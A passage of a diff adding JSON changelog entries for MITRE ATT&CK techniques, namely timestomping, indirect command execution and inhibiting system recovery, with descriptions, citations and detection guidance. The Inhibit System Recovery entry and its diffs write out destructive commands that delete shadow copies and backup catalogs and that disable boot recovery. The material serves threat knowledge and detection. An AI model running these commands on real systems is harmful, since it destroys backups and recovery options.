\"root['x_mitre_data_sources'][3]\": \"Command: Command Execution\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify file time attributes to hide new or ct1Adversaries may modify file time attributes to hide new file
>hanges to existing files. Timestomping is a technique that m>s or changes to existing files. Timestomping is a technique 
>odifies the timestamps of a file (the modify, access, create>that modifies the timestamps of a file (the modify, access, 
>, and change times), often to mimic files that are in the sa>create, and change times), often to mimic files that are in 
>me folder. This is done, for example, on files that have bee>the same folder and blend malicious files with legitimate fi
>n modified or created by the adversary so that they do not a>les.  Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NA
>ppear conspicuous to forensic investigators or file analysis>ME` (`$FN`) attributes record times in a Master File Table (
> tools.  Timestomping may be used along with file name [Masq>MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (da
>uerading](https://attack.mitre.org/techniques/T1036) to hide>tes/time stamps) is displayed to the end user, including in 
> malware and tools.(Citation: WindowsIR Anti-Forensic Techni>the File System view, while `$FN` is dealt with by the kerne
>ques)>l.(Citation: Magnet Forensics)  Modifying the `$SI` attribut
 >e is the most common method of timestomping because it can b
 >e modified at the user level using API calls. `$FN` timestom
 >ping, however, typically requires interacting with the syste
 >m kernel or moving or renaming a file.(Citation: Inversecos 
 >Timestomping 2022)  Adversaries modify timestamps on files s
 >o that they do not appear conspicuous to forensic investigat
 >ors or file analysis tools. In order to evade detections tha
 >t rely on identifying discrepancies between the `$SI` and `$
 >FN` attributes, adversaries may also engage in \u201cdouble times
 >tomping\u201d by modifying times on both attributes simultaneousl
 >y.(Citation: Double Timestomping)  Timestomping may be used 
 >along with file name [Masquerading](https://attack.mitre.org
 >/techniques/T1036) to hide malware and tools.(Citation: Wind
 >owsIR Anti-Forensic Techniques)
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ], + "new": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-03 14:47:17.154000+00:00", + "name": "Indirect Command Execution", + "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1202", + "external_id": "T1202" + }, + { + "source_name": "Bleeping Computer - Scriptrunner.exe", + "description": "Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/" + }, + { + "source_name": "Evi1cg Forfiles Nov 2017", + "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.", + "url": "https://x.com/Evi1cg/status/935027922397573120" + }, + { + "source_name": "RSA Forfiles Aug 2017", + "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.", + "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe" + }, + { + "source_name": "Secure Team - Scriptrunner.exe", + "description": "Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.", + "url": "https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/" + }, + { + "source_name": "SS64", + "description": "SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.", + "url": "https://ss64.com/nt/scriptrunner.html" + }, + { + "source_name": "VectorSec ForFiles Aug 2017", + "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.", + "url": "https://x.com/vector_sec/status/896049052642533376" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Liran Ravich, CardinalOps" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Application Control" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-03 14:47:17.154000+00:00\", \"old_value\": \"2022-05-05 05:06:38.938000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)\\n\\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.\", \"old_value\": \"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\\n\\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\\n+Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)\\n \\n Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.\", \"old_value\": \"Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/Evi1cg/status/935027922397573120\", \"old_value\": \"https://twitter.com/Evi1cg/status/935027922397573120\", \"new_path\": \"root['external_references'][2]['url']\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.\", \"old_value\": \"vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.\", \"new_path\": \"root['external_references'][6]['description']\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://x.com/vector_sec/status/896049052642533376\", \"old_value\": \"https://twitter.com/vector_sec/status/896049052642533376\", \"new_path\": \"root['external_references'][6]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Bleeping Computer - Scriptrunner.exe\", \"description\": \"Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.\", \"url\": \"https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/\"}, \"root['external_references'][4]\": {\"source_name\": \"Secure Team - Scriptrunner.exe\", \"description\": \"Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.\", \"url\": \"https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/\"}, \"root['external_references'][5]\": {\"source_name\": \"SS64\", \"description\": \"SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.\", \"url\": \"https://ss64.com/nt/scriptrunner.html\"}, \"root['x_mitre_contributors'][1]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse utilities that allow for command execut1Adversaries may abuse utilities that allow for command execu
>tion to bypass security restrictions that limit the use of c>tion to bypass security restrictions that limit the use of c
>ommand-line interpreters. Various Windows utilities may be u>ommand-line interpreters. Various Windows utilities may be u
>sed to execute commands, possibly without invoking [cmd](htt>sed to execute commands, possibly without invoking [cmd](htt
>ps://attack.mitre.org/software/S0106). For example, [Forfile>ps://attack.mitre.org/software/S0106). For example, [Forfile
>s](https://attack.mitre.org/software/S0193), the Program Com>s](https://attack.mitre.org/software/S0193), the Program Com
>patibility Assistant (pcalua.exe), components of the Windows>patibility Assistant (pcalua.exe), components of the Windows
> Subsystem for Linux (WSL), as well as other utilities may i> Subsystem for Linux (WSL), Scriptrunner.exe, as well as oth
>nvoke the execution of programs and commands from a [Command>er utilities may invoke the execution of programs and comman
> and Scripting Interpreter](https://attack.mitre.org/techniq>ds from a [Command and Scripting Interpreter](https://attack
>ues/T1059), Run window, or via scripts. (Citation: VectorSec>.mitre.org/techniques/T1059), Run window, or via scripts.(Ci
> ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)  Ad>tation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfil
>versaries may abuse these features for [Defense Evasion](htt>es Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citat
>ps://attack.mitre.org/tactics/TA0005), specifically to perfo>ion: SS64)(Citation: Bleeping Computer - Scriptrunner.exe)  
>rm arbitrary execution while subverting detections and/or mi>Adversaries may abuse these features for [Defense Evasion](h
>tigation controls (such as Group Policy) that limit/prevent >ttps://attack.mitre.org/tactics/TA0005), specifically to per
>the usage of [cmd](https://attack.mitre.org/software/S0106) >form arbitrary execution while subverting detections and/or 
>or file extensions more commonly associated with malicious p>mitigation controls (such as Group Policy) that limit/preven
>ayloads.>t the usage of [cmd](https://attack.mitre.org/software/S0106
 >) or file extensions more commonly associated with malicious
 > payloads.
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-02 13:54:43.136000+00:00", + "modified": "2024-09-24 13:27:31.881000+00:00", + "name": "Inhibit System Recovery", + "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1490", + "external_id": "T1490" + }, + { + "source_name": "Dark Reading Code Spaces Cyber Attack", + "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.", + "url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Diskshadow", + "description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.", + "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow" + }, + { + "source_name": "Crytox Ransomware", + "description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.", + "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware" + }, + { + "source_name": "Rhino Security Labs AWS S3 Ransomware", + "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.", + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/" + }, + { + "source_name": "ZDNet Ransomware Backups 2020", + "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.", + "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/" + }, + { + "source_name": "disable_notif_synology_ransom", + "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.", + "url": "https://x.com/TheDFIRReport/status/1498657590259109894" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yonatan Gotlib, Deep Instinct", + "Austin Clark, @c2defense", + "Pallavi Sivakumaran, WithSecure", + "Joey Lei", + "Harjot Shah Singh" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Cloud Storage: Cloud Storage Deletion", + "Command: Command Execution", + "Service: Service Metadata", + "Snapshot: Snapshot Deletion", + "File: File Deletion" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Network", + "IaaS", + "Containers" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-24 13:27:31.881000+00:00\", \"old_value\": \"2024-04-12 02:30:08.379000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\\n\\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\\n\\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\\n\\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\\n\\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n\\nAdversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\", \"old_value\": \"Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\\n\\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\\n\\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\\n\\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\\n\\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n\\nAdversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\", \"diff\": \"--- \\n+++ \\n@@ -13,4 +13,4 @@\\n \\n On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\\n \\n-Adversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\\n+Adversaries may also delete \\u201conline\\u201d backups that are connected to their network \\u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.\", \"old_value\": \"TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved October 19, 2022.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://x.com/TheDFIRReport/status/1498657590259109894\", \"old_value\": \"https://twitter.com/TheDFIRReport/status/1498657590259109894\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may delete or remove built-in data and turn off t1Adversaries may delete or remove built-in data and turn off 
>services designed to aid in the recovery of a corrupted syst>services designed to aid in the recovery of a corrupted syst
>em to prevent recovery.(Citation: Talos Olympic Destroyer 20>em to prevent recovery.(Citation: Talos Olympic Destroyer 20
>18)(Citation: FireEye WannaCry 2017) This may deny access to>18)(Citation: FireEye WannaCry 2017) This may deny access to
> available backups and recovery options.  Operating systems > available backups and recovery options.  Operating systems 
>may contain features that can help fix corrupted systems, su>may contain features that can help fix corrupted systems, su
>ch as a backup catalog, volume shadow copies, and automatic >ch as a backup catalog, volume shadow copies, and automatic 
>repair features. Adversaries may disable or delete system re>repair features. Adversaries may disable or delete system re
>covery features to augment the effects of [Data Destruction]>covery features to augment the effects of [Data Destruction]
>(https://attack.mitre.org/techniques/T1485) and [Data Encryp>(https://attack.mitre.org/techniques/T1485) and [Data Encryp
>ted for Impact](https://attack.mitre.org/techniques/T1486).(>ted for Impact](https://attack.mitre.org/techniques/T1486).(
>Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa>Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa
>nnaCry 2017) Furthermore, adversaries may disable recovery n>nnaCry 2017) Furthermore, adversaries may disable recovery n
>otifications, then corrupt backups.(Citation: disable_notif_>otifications, then corrupt backups.(Citation: disable_notif_
>synology_ransom)  A number of native Windows utilities have >synology_ransom)  A number of native Windows utilities have 
>been used by adversaries to disable or delete system recover>been used by adversaries to disable or delete system recover
>y features:  * <code>vssadmin.exe</code> can be used to dele>y features:  * <code>vssadmin.exe</code> can be used to dele
>te all volume shadow copies on a system - <code>vssadmin.exe>te all volume shadow copies on a system - <code>vssadmin.exe
> delete shadows /all /quiet</code> * [Windows Management Ins> delete shadows /all /quiet</code> * [Windows Management Ins
>trumentation](https://attack.mitre.org/techniques/T1047) can>trumentation](https://attack.mitre.org/techniques/T1047) can
> be used to delete volume shadow copies - <code>wmic shadowc> be used to delete volume shadow copies - <code>wmic shadowc
>opy delete</code> * <code>wbadmin.exe</code> can be used to >opy delete</code> * <code>wbadmin.exe</code> can be used to 
>delete the Windows Backup Catalog - <code>wbadmin.exe delete>delete the Windows Backup Catalog - <code>wbadmin.exe delete
> catalog -quiet</code> * <code>bcdedit.exe</code> can be use> catalog -quiet</code> * <code>bcdedit.exe</code> can be use
>d to disable automatic Windows recovery features by modifyin>d to disable automatic Windows recovery features by modifyin
>g boot configuration data - <code>bcdedit.exe /set {default}>g boot configuration data - <code>bcdedit.exe /set {default}
> bootstatuspolicy ignoreallfailures & bcdedit /set {default}> bootstatuspolicy ignoreallfailures & bcdedit /set {default}
> recoveryenabled no</code> * <code>REAgentC.exe</code> can b> recoveryenabled no</code> * <code>REAgentC.exe</code> can b
>e used to disable Windows Recovery Environment (WinRE) repai>e used to disable Windows Recovery Environment (WinRE) repai
>r/recovery options of an infected system * <code>diskshadow.>r/recovery options of an infected system * <code>diskshadow.
>exe</code> can be used to delete all volume shadow copies on>exe</code> can be used to delete all volume shadow copies on
